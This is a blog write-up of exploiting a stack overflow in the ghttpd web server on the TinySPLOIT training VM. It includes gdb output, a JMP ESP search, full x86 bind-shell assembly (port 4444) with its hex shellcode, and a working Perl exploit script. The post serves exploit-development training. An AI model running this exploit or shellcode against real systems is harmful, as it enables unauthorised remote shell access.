Sunday 19 June 2016

Exploiting TinySPLOIT

Hi there - so recently I attended one of Saumil Shah's excellent Exploit Lab training sessions, highly recommended.  After that, I got hold of a training VM that he had put together called TinySPLOIT.

The challenge is to build an exploit for the HTTP server running on the VM & this is my write-up of solving it :-)

Okay so after setting up the VM, I see a HTTP server, the page indicates that this service is indeed the target and gives a quick clue to the exploitation vector;



So I put together a quick perl script to pipe out using netcat to test out the crash condition and do the binary chop to figure out the bytes that overwrite EIP;

1:  #!/usr/bin/perl  
2:  print "GET /" . "A"x352 . "B"x4 . "C"x450 . "HTTP/1.0\n\n";  

The B's nicely overwrite EIP at this stage and ESP points to the beginning of the C's so I can just hunt for a JMP ESP to use like so;

 (gdb) info proc mappings  
 process 1057  
 Mapped address spaces:  
     Start Addr  End Addr    Size   Offset objfile  
      0x8048000 0x804c000   0x4000    0x0 /opt/ghttpd/ghttpd  
      0x804c000 0x804d000   0x1000   0x3000 /opt/ghttpd/ghttpd  
      0x804d000 0x804f000   0x2000   0x4000 /opt/ghttpd/ghttpd  
      0x804f000 0x8071000  0x22000    0x0 [heap]  
     0xb7eb8000 0xb7ec0000   0x8000    0x0 /lib/libnss_files-2.17.so  
     0xb7ec0000 0xb7ec1000   0x1000   0x7000 /lib/libnss_files-2.17.so  
     0xb7ec1000 0xb7ec2000   0x1000   0x8000 /lib/libnss_files-2.17.so  
     0xb7ec4000 0xb7ec5000   0x1000    0x0  
     0xb7ec5000 0xb7fdc000  0x117000    0x0 /lib/libc-2.17.so  
     0xb7fdc000 0xb7fde000   0x2000  0x116000 /lib/libc-2.17.so  
     0xb7fde000 0xb7fdf000   0x1000  0x118000 /lib/libc-2.17.so  
     0xb7fdf000 0xb7fe2000   0x3000    0x0  
     0xb7fe3000 0xb7fe4000   0x1000    0x0  
     0xb7fe4000 0xb7fe5000   0x1000    0x0  
     0xb7fe5000 0xb7fe6000   0x1000    0x0 [vdso]  
     0xb7fe6000 0xb7ffe000  0x18000    0x0 /lib/ld-2.17.so  
     0xb7ffe000 0xb7fff000   0x1000  0x17000 /lib/ld-2.17.so  
     0xb7fff000 0xb8000000   0x1000  0x18000 /lib/ld-2.17.so  
     0xbffdf000 0xc0000000  0x21000    0x0 [stack]  
 (gdb) find /b 0xb7ec5000, 0xb7fdc000, 0xff, 0xe4  
 0xb7ec7a51  
 0xb7fb7223  
 ...  


Okay next stage is to add in the shellcode so I attempted to use the bind shell one I wrote for my SLAE here: http://pheneghan.blogspot.co.uk/2016/05/x86-bind-shell-from-scratch.html - this didn't work and there is a good reason why...  Busybox!

So while my previous bind shell shellcode called execve like this;

execve("/bin//sh", [0], [/* 0 vars */])

...with busybox, I'll need to call it like this instead;

execve("/bin//sh", ["/bin//sh"], [/* 0 vars */])

Busybox uses a series of symbolic links to real program names and a single big binary contains all of the basic GNU tools and switches depending on how it is called.  Clearly for this, it'll need to know the argv[0] value and so the second case is required.

I modified the shellcode as shown below to implement the new execve and call /bin/sh using busybox;

 paul@SLAE001:~$ cat tinysploit.nasm  
 ; bind.asm  
 ; Paul Heneghan  
 global _start  
 section .text  
   _start:  
   ; clear regs so can use al, bl, etc... to avoid nulls!  
        xor          eax, eax  
        xor          ebx, ebx  
        xor          esi, esi     ;going to use this to push nulls  
   ; socket via socketcall  
     mov   bl, 0x1           ; socketcall number 1  
                                   ; int socket(int domain, int type, int protocol);  
     push  esi                ; socket arg 3  
     push  0x1                ; socket arg 2  
     push  0x2                    ; socket arg 1  
     mov   ecx, esp          ; socketcall args  
     mov   al, 0x66           ; system call number 66  
                                   ;int socketcall(int call, unsigned long *args);  
     int   0x80  
     mov          edx, eax          ; save sockfd for later  
      ; bind via socketcall  
        mov   bl, 0x2            ; socketcall number 2  
                                      ;int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);  
        push     esi                ;ip addr = any  
        push     word      0x5c11               ;port 115c = 4444  
        push     word     0x2                    ;family inet = 2  
        mov          ecx, esp  
        push     0x10               ; bind arg 3  
        push     ecx                ; bind arg 2  
        push      eax                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66           ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
     int   0x80  
      ; listen via socketcall  
        mov   bl, 0x4       ; socketcall number 4  
                                      ;int listen(int sockfd, int backlog);  
        push      esi                ; listen arg 2  
        push      edx                    ; listen arg 1  
        mov      ecx, esp  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
      ; accept via socketcall  
        mov   bl, 0x5       ; socketcall number 5  
                                      ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);   
        push     esi                ; bind arg 3  
        push     esi                ; bind arg 2  
        push      edx                    ; bind arg 1  
        mov   ecx, esp          ; pointer to bind args  
        mov   al, 0x66       ; system call number 66  
                                      ;int socketcall(int call, unsigned long *args);  
        int   0x80  
        mov          ebx, eax          ; save connection fd for later  
      ; dup2  
        xor      ecx, ecx           ; clear down ecx to avoid nulls  
 duploop:  
        mov   al, 0x3f          ; int dup2(int oldfd, int newfd);  
        int   0x80  
           inc          ecx  
           cmp ecx, 3  
           jne duploop  
      ; execve  
           mov al, 0xb               ; int execve(const char *filename, char *const argv[], char *const envp[]);  
           push esi  
           push     0x68732f2f  
           push     0x6e69622f  
           mov ebx, esp  
           push esi  ;new instruction to add a null spacer  
           push ebx ;new instruction to push the address of the /bin//sh  
           mov ecx, esp ;move the stack pointer into the second execve arg  
           ;xor ecx, ecx  
           xor edx, edx  
           int 0x80  
 paul@SLAE001:~$ ./compile.sh tinysploit  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ objdump -d ./tinysploit|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'   
 "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80"  
 paul@SLAE001:~$   


Now I can drop this shellcode into the exploit script like so;

1:  #!/usr/bin/perl  
2:  $shellcode = "\x31\xc0\x31\xdb\x31\xf6\xb3\x01\x56\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x89\xc2\xb3\x02\x56\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\xb3\x04\x56\x52\x89\xe1\xb0\x66\xcd\x80\xb3\x05\x56\x56\x52\x89\xe1\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\xb0\x0b\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x56\x53\x89\xe1\x31\xd2\xcd\x80";  
3:  print "GET /" . "A"x352 . "\x51\x7a\xec\xb7" . $shellcode . "C"x200 . "HTTP/1.0\n\n";  

This works nicely and the bind shell works :-)





Thanks again to Saumil Shah for the excellent training!